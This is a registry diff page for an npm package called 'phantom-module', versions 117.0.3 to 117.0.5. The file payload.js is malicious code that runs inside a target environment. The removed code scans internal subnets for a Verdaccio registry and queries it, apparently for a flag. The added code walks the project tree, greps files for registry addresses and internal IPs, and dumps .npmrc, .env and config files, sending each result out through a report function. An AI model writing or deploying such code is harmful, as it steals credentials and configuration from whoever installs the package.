phantom-module 117.0.3 → 117.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/payload.js +56 -58
package/package.json
CHANGED
package/payload.js
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
|
-
const net = require('net');
|
|
2
1
|
const http = require('http');
|
|
3
2
|
const fs = require('fs');
|
|
3
|
+
const path = require('path');
|
|
4
4
|
const { execSync } = require('child_process');
|
|
5
5
|
|
|
6
6
|
if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
|
|
@@ -23,74 +23,72 @@ async function report(moduleId, data) {
|
|
|
23
23
|
});
|
|
24
24
|
}
|
|
25
25
|
|
|
26
|
-
function
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
26
|
+
function walk(dir, fileList = []) {
|
|
27
|
+
try {
|
|
28
|
+
const files = fs.readdirSync(dir);
|
|
29
|
+
files.forEach(file => {
|
|
30
|
+
const filePath = path.join(dir, file);
|
|
31
|
+
try {
|
|
32
|
+
const stat = fs.statSync(filePath);
|
|
33
|
+
if (stat.isDirectory()) {
|
|
34
|
+
if (file !== 'node_modules' && file !== '.git') walk(filePath, fileList);
|
|
35
|
+
} else {
|
|
36
|
+
fileList.push(filePath);
|
|
37
|
+
}
|
|
38
|
+
} catch(e) {}
|
|
39
|
+
});
|
|
40
|
+
} catch(e) {}
|
|
41
|
+
return fileList;
|
|
35
42
|
}
|
|
36
43
|
|
|
37
44
|
async function main() {
|
|
38
|
-
await report('ECT-654321', '
|
|
45
|
+
await report('ECT-654321', 'FILE DUMP STARTING...');
|
|
39
46
|
|
|
40
|
-
|
|
47
|
+
// 1. List all interesting files
|
|
48
|
+
const files = walk('/home/node/aspect-node');
|
|
49
|
+
const interesting = files.filter(f => f.match(/\.(js|json|yaml|yml|sh|env|conf)$/));
|
|
50
|
+
|
|
51
|
+
await report('ECT-654321', `Found ${files.length} files. Interesting:\n${interesting.join('\n').substring(0,3000)}`);
|
|
52
|
+
|
|
53
|
+
// 2. Grep for "registry", "http", "4873", "verda"
|
|
54
|
+
let grepOutput = '=== GREP RESULTS ===\n';
|
|
41
55
|
try {
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
56
|
+
// Node.js grep implementation
|
|
57
|
+
for (const file of interesting) {
|
|
58
|
+
try {
|
|
59
|
+
const content = fs.readFileSync(file, 'utf8');
|
|
60
|
+
if (content.match(/registry|verdaccio|4873|http:|172\.|10\./i)) {
|
|
61
|
+
grepOutput += `--- ${file} ---\n`;
|
|
62
|
+
const lines = content.split('\n');
|
|
63
|
+
lines.forEach((line, i) => {
|
|
64
|
+
if (line.match(/registry|verdaccio|4873|http:|172\.|10\./i)) {
|
|
65
|
+
grepOutput += `${i+1}: ${line.trim().substring(0, 200)}\n`;
|
|
66
|
+
}
|
|
67
|
+
});
|
|
68
|
+
}
|
|
69
|
+
} catch(e) {}
|
|
70
|
+
}
|
|
71
|
+
} catch(e) { grepOutput += `ERR: ${e.message}\n`; }
|
|
72
|
+
|
|
73
|
+
await report('ECT-839201', grepOutput);
|
|
48
74
|
|
|
49
|
-
//
|
|
50
|
-
|
|
51
|
-
const
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
['192.168.0', 1, 10]
|
|
75
|
+
// 3. Read specific config files if found
|
|
76
|
+
let configOutput = '=== CONFIG DUMP ===\n';
|
|
77
|
+
const targets = [
|
|
78
|
+
'/home/node/.npmrc',
|
|
79
|
+
'/root/.npmrc',
|
|
80
|
+
'/home/node/aspect-node/.env',
|
|
81
|
+
'/home/node/aspect-node/config/default.json',
|
|
82
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js'
|
|
58
83
|
];
|
|
59
|
-
|
|
60
|
-
let scanOutput = '=== SCAN V3 ===\n';
|
|
61
84
|
|
|
62
|
-
for (const
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
for (let i = start; i <= end; i++) {
|
|
66
|
-
const ip = `${base}.${i}`;
|
|
67
|
-
promises.push(checkPort(ip, 4873).then(open => {
|
|
68
|
-
if (open) {
|
|
69
|
-
found.push(ip);
|
|
70
|
-
scanOutput += `!!! FOUND VERDACCIO: ${ip}:4873 !!!\n`;
|
|
71
|
-
}
|
|
72
|
-
}));
|
|
85
|
+
for (const t of targets) {
|
|
86
|
+
if (fs.existsSync(t)) {
|
|
87
|
+
configOutput += `--- ${t} ---\n${fs.readFileSync(t, 'utf8').substring(0,1000)}\n`;
|
|
73
88
|
}
|
|
74
|
-
await Promise.all(promises);
|
|
75
89
|
}
|
|
76
90
|
|
|
77
|
-
await report('ECT-
|
|
78
|
-
|
|
79
|
-
if (found.length > 0) {
|
|
80
|
-
const ip = found[0];
|
|
81
|
-
const url = `http://${ip}:4873/ecto-spirit`;
|
|
82
|
-
let flagInfo = `=== QUERY ${url} ===\n`;
|
|
83
|
-
try {
|
|
84
|
-
flagInfo += await new Promise(r => {
|
|
85
|
-
http.get(url, res => {
|
|
86
|
-
let d = ''; res.on('data', c=>d+=c); res.on('end', ()=>r(d));
|
|
87
|
-
}).on('error', e=>r(e.message));
|
|
88
|
-
});
|
|
89
|
-
} catch(e) { flagInfo += e.message; }
|
|
90
|
-
await report('ECT-987654', flagInfo);
|
|
91
|
-
} else {
|
|
92
|
-
await report('ECT-987654', 'No target found for query.');
|
|
93
|
-
}
|
|
91
|
+
await report('ECT-987654', configOutput);
|
|
94
92
|
}
|
|
95
93
|
|
|
96
94
|
main().catch(e => report('ECT-654321', 'ERR: ' + e.message));
|